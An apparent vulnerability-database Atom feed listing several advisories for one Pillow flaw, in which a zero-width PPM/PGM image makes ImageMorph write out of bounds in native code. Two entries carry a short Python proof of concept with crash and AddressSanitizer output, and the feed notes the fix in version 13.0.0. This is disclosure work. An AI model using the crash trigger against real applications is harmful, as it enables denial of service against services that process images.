<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://db.gcve.eu/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-25T20:41:32.903865+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@gcve.eu</email>
  </author>
  <link href="https://db.gcve.eu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://db.gcve.eu/vuln/brew-aider-cve-2026-112397</id>
    <title>BREW-aider-CVE-2026-112397 — Pillow: Out-of-bounds access in _imagingmorph on a zero-width image</title>
    <updated>2026-10-25T20:41:32.940451+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> Homebrew: aider</p>
<p>### Summary
A PPM or PGM file can declare a width of 0, which Pillow accepts, producing an image of size `(0, N)`. Passing that image to `ImageMorph.MorphOp.apply()` makes the native morphology code index a row buffer at `outrow[width - 1]`, which is `outrow[-1]` when the width is 0. The process crashes.</p>
<p>### Details
The PPM parser reads width and height with no lower-bound check:</p>
<p>- `src/PIL/PpmImagePlugin.py:119`</p>
<p>The native `apply()` writes the row edges with no guard that the width is positive:</p>
<p>- `src/_imagingmorph.c:81` sets `outrow[0] = outrow[width - 1] = 0;`</p>
<p>`match()` and `get_on_pixels()` use the same edge-indexing pattern.</p>
<p>### PoC
```python
from PIL import Image, ImageMorph</p>
<p># A width-0 image (also producible from a crafted PPM header). apply() indexes
# outrow[width - 1] == outrow[-1] in native code.
im = Image.new("L", (0, 5))
ImageMorph.MorphOp(op_name="dilation4").apply(im)
```</p>
<p>Run it:
```
$ python 03_poc.py
Segmentation fault (core dumped)
```</p>
<p>Observed on a source build of commit `3e2ab96`.</p>
<p>Under AddressSanitizer:
```
==ERROR: AddressSanitizer: SEGV on unknown address (pc ... in apply)
    #0 apply   src/_imagingmorph.c:81
SUMMARY: AddressSanitizer: SEGV src/_imagingmorph.c:81 in apply
```
With width 0 the `outrow[width - 1]` write lands on an unmapped page, so it surfaces as a SEGV pinned to the edge-write line rather than a redzone overflow.</p>
<p>### Impact
Out-of-bounds write in a C extension. Affects any application that runs a morphology operation on an…</p></div>
    </content>
    <link href="https://db.gcve.eu/vuln/brew-aider-cve-2026-112397"/>
  </entry>
  <entry>
    <id>https://db.gcve.eu/vuln/fkie_cve-2026-112397</id>
    <title>fkie_cve-2026-112397</title>
    <updated>2026-10-25T20:41:32.940581+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml">
        <p>Pillow is a Python imaging library. Prior to 13.0.0, Pillow's ImageMorph.MorphOp.apply() can access memory before a row buffer for a zero-width image. PPM and PGM input can create an image with width zero, and the native morphology routine indexes outrow[width - 1] without rejecting that geometry. An attacker can supply such an image to an application that applies a morphology operation. This can crash the process. This issue is fixed in version 13.0.0.</p>
      </div>
    </content>
    <link href="https://db.gcve.eu/vuln/fkie_cve-2026-112397"/>
  </entry>
  <entry>
    <id>https://db.gcve.eu/vuln/ghsa-58r4-6rv3-gfh8</id>
    <title>GHSA-58r4-6rv3-gfh8 — Pillow: Out-of-bounds access in _imagingmorph on a zero-width image</title>
    <updated>2026-10-25T20:41:32.940631+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> PyPI: Pillow</p>
<p>### Summary
A PPM or PGM file can declare a width of 0, which Pillow accepts, producing an image of size `(0, N)`. Passing that image to `ImageMorph.MorphOp.apply()` makes the native morphology code index a row buffer at `outrow[width - 1]`, which is `outrow[-1]` when the width is 0. The process crashes.</p>
<p>### Details
The PPM parser reads width and height with no lower-bound check:</p>
<p>- `src/PIL/PpmImagePlugin.py:119`</p>
<p>The native `apply()` writes the row edges with no guard that the width is positive:</p>
<p>- `src/_imagingmorph.c:81` sets `outrow[0] = outrow[width - 1] = 0;`</p>
<p>`match()` and `get_on_pixels()` use the same edge-indexing pattern.</p>
<p>### PoC
```python
from PIL import Image, ImageMorph</p>
<p># A width-0 image (also producible from a crafted PPM header). apply() indexes
# outrow[width - 1] == outrow[-1] in native code.
im = Image.new("L", (0, 5))
ImageMorph.MorphOp(op_name="dilation4").apply(im)
```</p>
<p>Run it:
```
$ python 03_poc.py
Segmentation fault (core dumped)
```</p>
<p>Observed on a source build of commit `3e2ab96`.</p>
<p>Under AddressSanitizer:
```
==ERROR: AddressSanitizer: SEGV on unknown address (pc ... in apply)
    #0 apply   src/_imagingmorph.c:81
SUMMARY: AddressSanitizer: SEGV src/_imagingmorph.c:81 in apply
```
With width 0 the `outrow[width - 1]` write lands on an unmapped page, so it surfaces as a SEGV pinned to the edge-write line rather than a redzone overflow.</p>
<p>### Impact
Out-of-bounds write in a C extension. Affects any application that runs a morphology operation on an…</p></div>
    </content>
    <link href="https://db.gcve.eu/vuln/ghsa-58r4-6rv3-gfh8"/>
  </entry>
  <entry>
    <id>https://db.gcve.eu/vuln/ubuntu-cve-2026-112397</id>
    <title>UBUNTU-CVE-2026-112397</title>
    <updated>2026-10-25T20:41:32.940696+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> Ubuntu:Pro:14.04:LTS: pillow, Ubuntu:Pro:16.04:LTS: pillow, Ubuntu:Pro:18.04:LTS: pillow, Ubuntu:Pro:20.04:LTS: pillow, Ubuntu:Pro:20.04:LTS: pillow-python2, Ubuntu:22.04:LTS: pillow, Ubuntu:24.04:LTS: pillow, Ubuntu:26.10: pillow, Ubuntu:26.04:LTS: pillow</p>
<p>(Pillow is a Python imaging library. Prior to 13.0.0, Pillow&amp;#x27;s ImageMor ...)</p></div>
    </content>
    <link href="https://db.gcve.eu/vuln/ubuntu-cve-2026-112397"/>
  </entry>
</feed>
